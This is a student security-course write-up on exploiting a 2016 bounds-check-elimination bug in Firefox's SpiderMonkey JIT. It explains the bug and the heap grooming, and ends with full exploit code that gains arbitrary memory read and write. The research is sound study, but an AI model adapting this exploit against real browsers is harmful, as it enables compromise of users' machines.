Exploiting a Bounds Check Elimination Bug in the JIT Runtime

December 10, 2020

378H: Network Security and Privacy Final Project

Written by Abby Krishnan (me) and Anirudh Goyal

Introduction

This final project required us to find a bug in any of the mainstream browser JavaScript engines that had not been publicly written about or exploited. We selected a Bounds Check Elimination bug from SpiderMonkey, Firefox’s JavaScript engine. We were able to exploit this bug and gain an arbitrary readmem/writemem primitive.

In this report, we will go over our exploitation process, including how to run the JavaScript SpiderMonkey engine, how the engine works, how our specific vulnerability works, our different strategies that worked and failed, and how we eventually exploited the vulnerability.

Setting up Firefox

In order to begin working on an exploit for this bug, we had to first pull the version of Firefox that did not have the patch and build the JS Engine for it. Be sure to pull a version that is on mainline development, rather than a backport patch. For security fixes, there is a full fix that gets committed on the mainline branch, and variants of it are cherry-picked onto backport branches.

For our bug that was changeset 290235 and we built the parent commit just prior, parent 290234.

This bug is from March of 2016, so some of the dependencies are slightly outdated. It is not possible to build this locally on MacOS in 2020 because Xtools maintains a more updated version of gcc than is needed to build this version of SpiderMonkey. As a result, we build a 64-bit Debian Linux VM. You can easily download the VMDK for one of these, from osboxes.org.

We recommend using Mercurial, rather than Git, if you are going to switch regularly between commits in Firefox.

We then did one line bootstrapping in order to get the code necessary to build. Note, because Firefox is large, it takes a long time in order to download, checkout, and build these files. We would predict to set aside an entire evening to get the development environment setup.

$ wget -q https://hg.mozilla.org/mozilla-central/raw-file/default/python/mozboot/binbootstrap.py -O bootstrap.py
$ python3 bootstrap.py
$ hg update -r 
2912de2754baafcc07201c4ecda7c975622e6df5
$ $./mach bootstrap
$ cd js/src
$ autoconf2.13
$ mkdir build.asserts
$ cd build.asserts
$ $../configure --enable-debug --disable-optimize
$ make
$ cd dist/bin
$ gdb --args js --ion-check-range-analysis --no-threads --ion-eager

IonMonkey

Because interpreters can be slow, Javascript attempts to improve its performance with JIT (Just in Time) compilers. In order to do this, it profiles the code and looks for inefficiencies that it can improve on.

In IonMonkey, JavaScript bytecode is converted to a MIR (Middle-level Intermediate Representation) graph, which breaks the program into high level nodes and constructs control flow graphs. The MIR is then “lowered” to an LIR (Lower-level Intermediate Representation) graph that has lower level implementations and details. The nodes on the LIR graph are visited, with each node type generating specific, optimized, assembly code. This runtime code that is created, or “emitted” is implemented using MacroAssembler.

The optimization that was specific for us was Global Value Numbering (GVN), and within that, Bounds Check Elimination (BCE). The high level purpose of GVN is redundant code elimination. For BCE specifically, it involves getting rid of checks for accesses into arrays that the compiler can deduce are definitively safe, or infallible. In order to figure out if an access with a variable is safe, it uses range analysis. Range analysis is the process of deducing range of possible values for variables and array lengths.

Patch

We found this bug with Bugzilla. The bug itself was discovered through fuzzing techniques. The patch makes two changes. The files are IonAnalysis.cppand MIR.h.

IonAnalysis.cpp

The main fix in this file is in a function called TryEliminateBoundsCheck(). If the node passed in is fallible, meaning the index can be unsafe, it will just return true, not set eliminated, and essentially deoptimize this bounds check by preventing the rest of the elimination code from running. Right before this, the function calls a function called replaceAllUsesWith() on the node that is passed in. This will iterate through all of the nodes on the graph and ensure that any previous bounds checks dependent on this node have their values updated to the current index, or range.

The function TryEliminateBoundsCheck() itself is called in EliminateRedundantChecks(), which is a function designed to eliminate checks that are redundant. In the code, it states that “a bounds check is considered redundant if it's dominated by another bounds check with the same length and the indices differ by only a constant amount.” It traverses the Control Flow Graph, and if TryEliminateBoundsCheck() does not set the eliminated boolean pointer, the function will not eliminate the bounds.

This same function also eliminates certain type barriers. The code says that “a type barrier is considered redundant if all missing types have been tested for by earlier control instructions.” A control instruction is the last instruction given in a Control Flow Graph.

MIR.h

This file's patch changes the congruentTo() function. This function can be thought of as being similar to Java’s equals() function; it overrides a function that is available to all nodes. congruentTo() checks if two bound check nodes are the same. If they are, the second one is typically eliminated and replaced by references to the first node. Implementing this function alongside foldsTo() opts a MIR node into GVN's code redundancy optimizer. The function congruentTo() is called in ValueNumbering.cpp, the main file for GVN implementation, and is only called when Alias Analysis determines that two nodes are dependent on the same node. Essentially, congruentTo() is used to figure out which bounds checks nodes are candidates for elimination.

Prior to the patch, for node of type MBoundsCheck, it would check that they have the same minimum and maximum and other metadata checked in congruentIfOperandsEqual(). However, it does not check if they have the same fallibility. This is what the patch adds in, as seen in Figure 2. At the time of this patch, two MIR MBoundsCheck nodes could be considered congruent, even if one could fail, and one could not.

This patch also adds debug checks in the functions setMinimum() and setMaximum(). These checks ensure that if you are updating the bounds of a node, it is fallible. If something is thought to be infallible, changing the bounds would affect that assumption, which this patch now reflects.

The Bug

In the words of the Mozilla employees, in the Bugzilla report it says "Here TryEliminateBoundsCheck is eliminating a fallible bounds check by updating an infallible one before it, but since it's infallible, we don't emit any code for it..."

Our understanding of this bug is that replaceUsesOf() updates the range of the bounds accurately, making it fallible, but eliminates it anyways, because it is incorrectly thought to be congruent to to an infallible bounds.

Thus, because the bounds check happens only with the first access, our other accesses can be illegal and be any offset from the location of the array on-wards. We will go over this in detail with the reproduction code in the next section.

Reproducing the Bug

Reproduction Code

The bug reporter on Mozilla’s tracking system, Bugzilla, mentioned the following reproduction code and reported a segmentation fault when trying to run it with optimization. We were able to also produce a segmentation fault with the same code.

a = [1, 2, 3, 4, 5];
function foo4(x, m, n) {
    v = 0;
    for (var i = m; i < n; i++)
      v += x[i] + x[i - 1] + x[i - 2];
    return v
}
for (i = 0; i < 5; i++) 
  foo4(a, 2, 5);
foo4('xxxxxxxxxxxxx', 0, 5);

The first call to the function `foo4()} is made inside a loop with array a. Since the array of length 5 is passed with the parameters m=2, n=5 it is only accessed by indices in the range [2-2, 4] i.e. [0, 4]. These are all valid indices for the array, and these repeated function calls serve the purpose of heating the function foo4 so that IonMonkey steps in and creates a native representation of foo4 with optimizations such as Bounds Check Elimination.

Next, a string of length 13 is passed with m=0, n=5. This results in index accesses in the range [-2, 4]. Ideally Firefox should be able to gracefully error out when the code tries to access the string with a negative index, returning back undefined. However, in this case, the negative index string access goes through and results in a seg fault. This is because the function’s native code was produced with bounds check elimination, and it removed the bounds check for the x[i - 1 and x[i -2 nodes under the assumption that they were congruent to the x[i] node. You can see the difference in code emission in following figures.

This code invokes the EliminateRedundantChecks function a total of 6 times, 3 for the first time it realizes it can eliminate it correctly, and 3 more for the incorrect accesses. Each array access is accompanied by its own bounds check node. It correctly assesses that the range of indexes will be [0, 4] for x[i], [-1,3] for x[i-1] and [-2, 2] for x[i-2]. But it continues to eliminate the bounds check for x[i-1} and x[i-2]}because it does not check to see if updating the index for the dominated node turned it into a fallible access.

The other nodes would have the same length and be a constant offset of indices, which would cause it to be eliminated. This is consistent with how the JIT code describes how it finds redundant checks

Difficulties with Reproduction Code

This bug is clearly a big mistake for the bounds check elimination process. However, it was not as easy to exploit as one might believe from looking at the patch. This is because there are other ways the JIT compiler inserts instructions to prevent illegal accesses.

We noticed that when the LIR had emitted a TypeBarrier, we would not be able to reproduce the bug. A TypeBarrier can be described as a "guess" that the compiler is making to predict the type of an object. The type is then checked at runtime. This is to ensure that the written type is consistent with the inferred code. If we made the string into a standalone variable or initialized it with new String(), the JIT compiler would insert a TypeBarrier for an object. This was essentially a clue to the runtime that said, "while the function had never had a string passed in before, there is a chance one could be passed in now." If it was able to confirm the type was a string, it would infer that the accesses were beyond the range of string indexes, and a bailout from the LIR code. If one were to view the bailouts, it would often be able to expose that there was a “Bounds check failure,” describing the locations in the file where this was detected.

Additionally, we often could only do the illegal access once because JIT can bailout after an unexpected return value. This was a constraint on our initial exploit strategy, which will be explained next. We ended up being able to get over this constraint in our final exploit, by optimizing the code with extra dummy parameters.

Despite being able to trigger the bug, getting around various bailout points proved to be a challenge

Initial Exploit Strategy

The function accesses x by using the format x[i - y]. In the reproduction code, they use x[i - 1] and x[i - 2]. We realized that by putting big negative values in y, we can get an out of bounds positive index array access. For instance, with i=0 and y=-100, that gives x[100]. Since this was not a negative index, it did not error out and successfully gave us an OOB read. A big win!

This OOB read, we thought, can give us an addrOf() primitive if we can place an Array near the string and put our target object in the array along with a magic value. Next, we could keep reading out of bounds from the string till we find the magic value. Now we know where the array is, and hence the location of the target object inside the array. We would simply unpack the NaN box representation of the object and we have its address! From there on, we'd be able to place objects there and return back that address to the user.

Unfortunately, this did not work. We will go over issues with it in the following sections

Problems with Initial Exploit Strategy

Problems with Initial Exploit Strategy

After poking around in GDB, we realized that the string that was being passed as a parameter, and the array made on the heap before calling the function, were ~500k bytes apart. That’s a massive distance. We tried allocating the string as a variable on the heap, and then calling the function with it. Our hope was that this way, the string and the array would be closer in memory due to nursery allocation. However, the bug did not reproduce when the function was called with a string variable. We fell back to using a string constant in the parameter.

Allocation Complexity

The fact that the string and array objects were allocated so far away introduced a lot of complexity. In our previous project, we relied on the fact that typed and untyped arrays were allocated predictably, and with a close distance. After being able to extend the array length with the exploit function from Blaze CTF, blaze() we were able to access elements in a untyped array with a 32 bit typed array, which gave us an address.

We were aware that this strategy worked because the nursery allocator used a bump allocator. It maintains a pointer that points to the first unallocated byte in the nursery memory area. However, we did not observe this similar reliable nursery allocation. Upon closer look, our objects were actually never in the nursery, likely because they were considered to be long-lived objects after surviving the loop we ran 500+ times to JIT the code.

Our objects were both in the long-tenured heap, and they were also in different arenas, which made them so far apart. Despite trying repeatedly to try and allocate objects after the loop, at different times, or together, we could not achieve close proximity between objects. We were able to observe this move to the tenured heap by setting breakpoints in js/gc/Nursery.cpp. We attempted to replicate saelo's techniques for surviving garbage collection such as creating an empty object and copying the JSCell header, but these proved to be difficult to reproduce for us.

Could not read past 30 bytes

Next, we tried reading out of bounds by ~500k bytes to find our array. We started by placing a nested loop inside the function’s loop that would give us the indices up till 500k. Again, the nested loop made the bug not reproduce. We realized that very small changes to the code were resulting in the bounds check being put back in. As explained, this was due to bailouts because of unexpected return values (being the out of bounds values). The compiler was able to detect that we were concatenating bytes that were not part of string objects, and it would bailout. We then tried modifying the function and string access like so:

function foo4(x, m, n, sub1, sub2, sub3, sub4, 
… sub500k) {
    …
    v += x[i] + x[i - sub1] + 
    x[i - sub2] … x[i - sub500k]
}

This strategy did work, but only up to sub30. Anything more than 30 malicious accesses would give an undefined result. We found that this was because at this point, Firefox would insert a constant magic optimized-out that would un-box the object, reveal it was a string, then bailout. This was an example of a strategy gone wrong because of the various bailouts that the JIT compilers puts throughout the LIR code. Unfortunately, 30 bytes was not nearly enough for us to find our array in the wild. If the string and the array were predictably allocated in the nursery, we may have been able to capture the address in 30 bytes with sufficient probability.

Final Exploit Strategy

For the majority of the first initial exploit strategy, we were only heating up the code with an array, similar to how the reproduction code had. However, as explained, we soon discovered that the type barriers emitted by JIT were proving to be problematic because they were successfully helping the JIT code bailout. Because of this, we wanted to JIT the code with a parameter without any strong typing, so it would not bailout on a TypeBarrier of Object, like it had for strings.

We decided to use an arbitrary object that we set the properties and elements of ourselves. JavaScript objects are obviously not tied to any specific class. As we learned JavaScript, at runtime, attempts to learn the shapes from the objects created.

We decided to heat up the code with an object. A generic object with properties and elements was a good candidate. This made it extendable to read out of bounds on other types. This would prove to be useful for the exploit later.

In Javascript, you can provide object with elements, which can be iterated on as if they were an array. The elements are stored in an array pointed to by the elements member in a JSObject. Element stores can be sparse, filled, or untyped. Object element stores are especially known for having bugs in their implementations. IonMonkey also does not check for indexed elements on the current element’s prototypes. This changed helped us read beyond more than just strings.

obj2 = {r: "a", t: "b"}
obj = {}
obj.foo = "Hello, World!"
obj[0]=0x11223344
obj[1]=0x33557711
obj[2]=0x11223344
obj[3]=0x33557711
obj[4]=0x11223344
obj[5]=obj2

Once foo4 was heated with such an object, the bug reproduced on TypedArrays! Arrays are usually easier to work with than strings, and we were able to read and write out-of-bounds relative to the ArrayBuffer by accessing it in the same way as we did with the string. The JIT also was not bailing out after just one line of a malicious read, giving us more to work with to implement an exploit.

However, how does this take us closer to our end goal of developing an exploit primitive? We still had some of the same limitations we had in the string. We could only make 30 malicious accesses, could only work with positive indices and the Array with our target object was still too far away. Only being able to read beyond, or "forward", left out a ton of memory from our reach.

Typed Arrays, ArrayBuffers and Views

Typed Arrays in Javascript are used to read and write raw binary data to a buffer in memory. JavaScript splits their implementation into two parts. ArrayBuffer: An ArrayBuffer represents a fixed-length data chunk in memory. Its size is defined in the number of bytes it uses. ArrayBuffers can’t be modified without using a View on top of it. View: A view helps us modify the contents of an ArrayBuffer by looking at the data as a certain data type. For instance, an Int32Array view will interpret the data in the raw ArrayBuffer as Int32s. One ArrayBuffer can have multiple views.

In JavaScript Core, every object allocated in the heap inherits an eight byte header inherited from JSCell that keeps track of various metadata for the object. This was true for the Int32Views. If we had the address of a Int32View, we should able to overwrite metadata for it -- specifically, the data pointer that dictates which memory region the view modifies.

This data pointer is a 64 bit address at the 7th qword from the start of the view.

As we were reading other SpiderMonkey exploits for inspiration, we came across one of saelo’s exploits that allocated a large number of ArrayBuffers, and using and out-of-bounds read from a bug in valueOf(), was able to leak the headers of the ArrayBuffers for the exploit. While our exploit was slightly different, it took inspiration from this.

In order to achieve this, we also used a helper class for Int64 written by saelo, in order to more easily do the arithmetic and shifting on addresses in a 64 bit machine.

We learnt that the ArrayBuffer has a 64 byte header right before its memory chunk, and it contains two values that are important to us: 1. The “private form” of the address of the raw memory chunk. Private form simply means the address right shifted by 1. Therefore, left shifting a “private form” gives us the address of the raw data. This was located 32 bytes from the location of the header. 2. The address of the Int32Array view that the ArrayBuffer was the underlying memory for. This was located 48 bytes from the location of the header.

When allocating hundreds of ArrayBuffers (of a size under 96) consecutively, JavaScript does this inline and in a reliable manner. The ArrayBuffers, luckily for us, were allocated back to back in memory. This meant that if we have access to an ArrayBuffer and can read OOB, we can read the “private form” address of the next ArrayBuffer and the address of its Int32Array view.

This had a lot of potential and this is what we used for the exploit.

Exploit setup

We first allocated 50,000 ArrayBuffers each of 72 bytes and stored them in an Array. As expected, these were located consecutively in memory. Although we made 50,000, we predict this can be done with significantly less ArrayBuffers, to not put a strain on memory.

buf = []
for(var k = 0; k < 50000; k++) {
   buffer = new ArrayBuffer(0x48);
   buf.push(buffer)
}

Then we chose three consecutive ArrayBuffers and made Int32Views on each of them to use for the exploit.

v89 = new Int32Array(buf[49989])
v89[0] = 0x1
v90 =  new Int32Array(buf[49990])
v89[0] = 0x2
v91 = new Int32Array(buf[49991])

Next, we heated the foo4 function with the untyped object that we mentioned earlier so that the IonMonkey native code allows us to use TypedArrays for the exploit. Now we’re ready to read out of bounds with our Typed Arrays and it’s time to exploit!

Reminder, the function foo4 looks like this:

function foo4(x, m, n, sub1, sub2, sub3, sub4, sub5, sub6, sub7, sub8, sub9, sub10) {
   var v = 0;
   for(var i = m; i < n; i++) {
      // for reading addresses 
      v += x[i] + x[i-sub1].toString() 
      + x[i-sub2].toString() + x[i-sub3].toString() 
      + x[i-sub4].toString() + x[i-sub5].toString() 
      + x[i - sub6].toString()
       
       x[i] = 0x1
      // for overwriting v91’s data pointer
       x[i - sub7] = sub9
       x[i - sub8] = parseInt(sub10, 16)
   }
 
   return v;
}

Getting some addresses

A quick GDB lookup told us that the header of the next ArrayBuffer was located 96 bytes (or 24 words) from the start of the current ArrayBuffer’s raw data chunk (see Fig. 6). Using our ArrayBuffer header knowledge from above, this meant: * v89[32-33] gives us the private form address of the ArrayBuffer being used for the v90 Int32View. Left shifting this address gave us the memory address for the raw bytes being used for the v90 Int32View. * v89[36-37] gives us the address of the v90 Int32View in memory. * v89[76-77] gives us the address of the v91 Int32View in memory.

To get these addresses, we called the optimized foo4 with v89 and put in the indices we wanted to read as the function parameters.

b = foo4(v89, 0, 1, -32, -33, -36, -37, -76, -77, 0, 0, 0, 0)

The function gave us a concatenated string of the integers at the requested indices. We then parsed this string accordingly to extract the relevant addresses: * Address of raw data chunk being used by buf90 for the v90 view (v90's data pointer) * Address of v90 Int32View * Address of v91 Int32View

Overwriting a data pointer

Our aim was to overwrite the v91 Int32View’s data pointer to the location of the v90 Int32View in memory. Therefore, instead of accessing the contents of buf[49991], v91 would access the contents of the metadata of the v90 Int32View.

To do this, we needed to know where v91’s data pointer is located, and we needed a way to overwrite it.

We decided to use the v90 TypedArray to change v91’s data pointer. We had already figured out a way to give us the address of v91 in memory. As we know, the data pointer is the 7th qword of the metadata. Now we had the two addresses we needed to modify the data pointer: * Address of v90’s raw memory (derived from the private form address). * The location of v91’s data pointer. (v91 address + 7*8)

Using the difference of these addresses, we were able to access and change v91’s data pointer by indexing into v90.

v10 = foo4(v90, 0, 1, 0, 0, 0, 0, 0, 0, distance-14, distance-15, bottom_bits_2, top_bits_2)

foo4 already has 2 lines of code for writing it to the array with parameters sub7 - sub10. This call to foo4 indexes into v90 to reach v91’s data pointer and writes v90’s address there. The full source code has more comments for understanding.

Before calling foo4, though, we had to re-heat the function. Once foo4 is called with malicious indices, it bails out at the end and we no longer have the IonMonkey native code that eliminates the bounds check. So, we called foo4 again with a generic object and valid parameters to produce the native code we needed.

Now, v91[0] points to the start of the metadata for v90. Since v90’s data pointer is located at the 7th qword from the start, v91[14-15] can now access v90’s data pointer.

The hard work is over! We can simply edit v90’s data pointer to any address of our choice by using v91, and then easily read or write memory at that address by accessing the v90 array.

Arbitrary Read/Writemem

We first created a function changeDataPointer that would reset v90’s data pointer so that we could read and write from the new address. Notice how we turn the address into an unsigned 32 bit integer first, and then convert it to a signed 32 bit integer. This is because our views were made with Int32Array, therefore the unsigned form of some addresses was bigger than the max positive value an Int32 can hold. Those big addresses were first converted to a negative Int32 integer, and then written in the array.

function changeDataPointer(addr) {
   bottom_bits = UintToInt32((addr >>> 0));
   v91[14] = bottom_bits;
}

function readmem(addr) {
   changeDataPointer(addr);
   return v90[0];
}

function writemem(addr, data) {
   changeDataPointer(addr);
   toWrite = UintToInt32((data >>> 0));
   v90[0] = toWrite;
}

Debugging Strategies

GDB

We extensively used GDB to view memory, set breakpoints, look at internal object fields, and calculate addresses. We highly recommend that those new to SpiderMonkey get familar with GDB.

However, when setting breakpoints in the generated code, we’d often get an unusual GDB error. This made debugging codegen difficult.

/build/gdb-EbRs5Y/gdb-8.2.1/gdb/frame.c:550: 
internal-error: frame_id get_frame_id(frame_info*): 
Assertion `fi->level == 0` failed. 
A problem internal to GDB has been detected, 
further debugging may prove unreliable. 
Create a core file of GDB? (y or n) n 

Unfortunately, if you run into this, it is an issue with GNU GDB itself. We were running an updated version of GDB, even though this was reported to be fixed before. We reported the error to GNU.

Instead, we relied on tracing codegen with iongraph, a primitive visualizer for IonMonkey graphs using GraphViz.

Address Unboxing

We used the same tactic as learned in class of setting a breakpoint on Math.cos. You can use p (JS::Value *) vp[2]to look at the address.

On a 64 bit machine, addresses in GDB often appear in their boxed form. Actual addresses often start with 0x7ffff6, so you may need to remove the NaN boxed tag from the beginning and replace the leading 0xf with a 0x7. Much of the nuance to the JavaScript memory and the "butterfly" is documented in previous materials.

Conclusion

In conclusion, we have shown how a simple bug in JIT bounds check elimination, within a few steps, can go straight into providing a read and write memory primitive. It is no wonder that in V8, Google Chrome’s JS engine, they have deoptimized BCE all together -- proving its correctness is extremely difficult, and any missteps can lead to serious damage. In order to do this we covered our exploitation process, how our specific vulnerability works, our different strategies that worked and failed, and how we eventually exploited the vulnerability. We also provided tips to a new developer to SpiderMonkey.

Acknowledgements

We would like to thank Dr. Hovav Shacham for his CS378H Network Security class where we learned about Just in Time compilers, exploits, and many Javascript tricks. We'd also like to thank all the great security engineers dedicated to making our browsers safer and writing wonderful blog posts on how they do it!

Final Code

// convert Uint32 number to Int32
function UintToInt32(num) {
    if (num >= 2147483648) { // 2^31
        return num - 4294967296; // 2^32
    } else {
        return num;
    }  
}

// change v90's data pointer
function changeDataPointer(addr) {
    bottom_bits = UintToInt32((addr >>> 0));
    v91[14] = bottom_bits;
}

function readmem(addr) {
    changeDataPointer(addr);
    return v90[0];
}

function writemem(addr, data) {
    changeDataPointer(addr);
    toWrite = UintToInt32((data >>> 0));
    v90[0] = toWrite;
}

// allocating consecutive array buffers
buf = []
for(var k = 0; k < 50000; k++) {
    buffer = new ArrayBuffer(0x48);
    buf.push(buffer)
}

// generic, untyped object used for heating
obj2 = {r: "a", t: "b"}
obj = {}
obj.foo = "Hello, world"
obj[0]=0x11223344
obj[1]=0x33557711
obj[2]=0x11223344
obj[3]=0x33557711
obj[4]=0x11223344
obj[5]=obj2

v89 = new Int32Array(buf[49989])
v89[0] = 0x1
v90 =  new Int32Array(buf[49990])
v89[0] = 0x2
v91 = new Int32Array(buf[49991])

function foo4(x, m, n, sub1, sub2, sub3, sub4, sub5, sub6, sub7, sub8, sub9, sub10) {
    var v = 0;
    // in the exploit, only i=0 is used
    for(var i = m; i < n; i++) {
        // for exploit, i=0 and sub1, sub2 are all negative, giving OOB read.
        v += x[i] + x[i - sub1].toString() + x[i - sub2].toString() + x[i - sub3].toString() 
        + x[i - sub4].toString() + x[i - sub5].toString() + x[i - sub6].toString()
    
        // writing OOB through the array. used for modifying data pointer.
        x[i - sub7] = sub9
        x[i - sub8] = parseInt(sub10, 16)
    }

    return v;
}

// heating foo4
for(i = 0; i < 2000; i++) {
    foo4(obj, 2, 5, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0)
}

// getting relevant addresses by offsetting from v89's buffer
b = foo4(v89, 0, 1, -32, -33, -36, -37, -76, -77, 0, 0, 0, 0)

// private form data pointer of v90's buffer raw chunk
bottom_bits_1 = (parseInt(b.substring(2, 11)) >>> 0).toString(16);
top_bits_1 = (parseInt(b.substring(11, 16)) >>> 0).toString(16);

// address of v90 view
bottom_bits_2 = parseInt(b.substring(16,26))
top_bits_2 = (parseInt(b.substring(26, 33)) >>> 0).toString(16).substring(4);
var addressOf49990 = top_bits_2 + bottom_bits_2

// address of v91 view
bottom_bits_3 = (parseInt(b.substring(33, 43)) >>> 0).toString(16);
top_bits_3 = (parseInt(b.substring(43, 53)) >>> 0).toString(16);
var addressOf49991 = top_bits_3.substring(4) + bottom_bits_3

// data pointer of v90's buffer. obtained by left shifting the private
// form data pointer parsed above
var addressOfInner49990 = LShift1(new Int64(top_bits_1 + bottom_bits_1));

// distance (in words) from the start of v90's raw data chunk to v91 view's metadata
// it's negative to use it in foo4
var distance = (parseInt(Sub(addressOf49991, addressOfInner49990).toString(), 16)/4) * -1

// reheating the function foo4
for(k = 0; k < 500; k++) {
    foo4(obj, 2, 5, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 1, 0, 0, 0, 0);
}

// overwrites v91 data pointer to become v90 view
v10 = foo4(v90, 0, 1, 0, 0, 0, 0, 0, 0, distance-14, distance-15, bottom_bits_2, top_bits_2)

Happy hacking on Spidermonkey,

Abby and Anirudh